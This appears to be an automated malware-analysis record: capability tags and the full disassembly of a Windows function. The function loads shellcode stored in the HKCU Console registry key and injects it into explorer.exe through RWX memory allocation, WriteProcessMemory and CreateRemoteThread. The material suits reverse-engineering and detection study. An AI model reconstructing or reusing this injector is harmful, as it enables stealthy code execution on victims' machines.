Function at 0x180001060
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r14
sub rsp, 0x178
lea rax, [rsp + 0x198]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800013a7
mov rcx, qword [rsp + 0x198]
lea rax, [rsp + 0x190]
xor r14d, r14d
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov dword [rsp + 0x190], r14d
lea rdx, str.qweasd123zxc
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800013a7
mov ecx, dword [rsp + 0x190]
call fcn.180004be8
mov rcx, qword [rsp + 0x198]
lea rdx, str.qweasd123zxc
mov rbp, rax
xor r9d, r9d
lea rax, [rsp + 0x190]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800013a7
mov qword [rsp + 0x1a0], rbx
lea ecx, [rax + 2]
xor edx, edx
mov qword [rsp + 0x170], rdi
mov dword [rsp + 0x40], 0x130
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180001172
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [r14 + 2]
mov ebx, eax
call fcn.1800034cc
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.180001010
jmp 0x1800011ca
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov edi, r14d
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800011bd
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
lea rcx, str.explorer.exe
call fcn.1800114b0
test eax, eax
je 0x1800011b9
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001190
jmp 0x1800011bd
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1800011ef
mov ecx, 2
call fcn.1800034cc
mov rcx, rax
lea r8, str.explorer.exe
lea rdx, str.failed_to_find_process__s_n
call fcn.180001010
jmp 0x1800012f0
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180001231
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 2]
mov ebx, eax
call fcn.1800034cc
mov rcx, rax
lea rdx, str.failed_to_open_process:__d_n
mov r8d, ebx
call fcn.180001010
jmp 0x1800012f0
mov r8d, dword [rsp + 0x190]
xor edx, edx
mov r9d, 0x3000
mov qword [rsp + 0x1a8], rsi
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180001286
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rsi + 2]
mov ebx, eax
call fcn.1800034cc
mov rcx, rax
lea rdx, str.failed_to_allocate_memory:__d_n
mov r8d, ebx
call fcn.180001010
jmp 0x1800012df
mov r9d, dword [rsp + 0x190]
mov r8, rbp
mov rdx, rsi
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x18000130b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.1800034cc
mov rcx, rax
lea rdx, str.Failed_to_write_memory:__d_n
mov r8d, ebx
call fcn.180001010
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x170]
add rsp, 0x178
pop r14
pop rbp
ret
mov qword [rsp + 0x30], r14
mov r9, rsi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x180001357
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.1800034cc
mov rcx, rax
lea rdx, str.failed_to_create_thread:__d_n
mov r8d, ebx
jmp 0x1800012c5
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call fcn.180004bd4
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1800012e8
xor ecx, ecx
call fcn.1800033a0
int3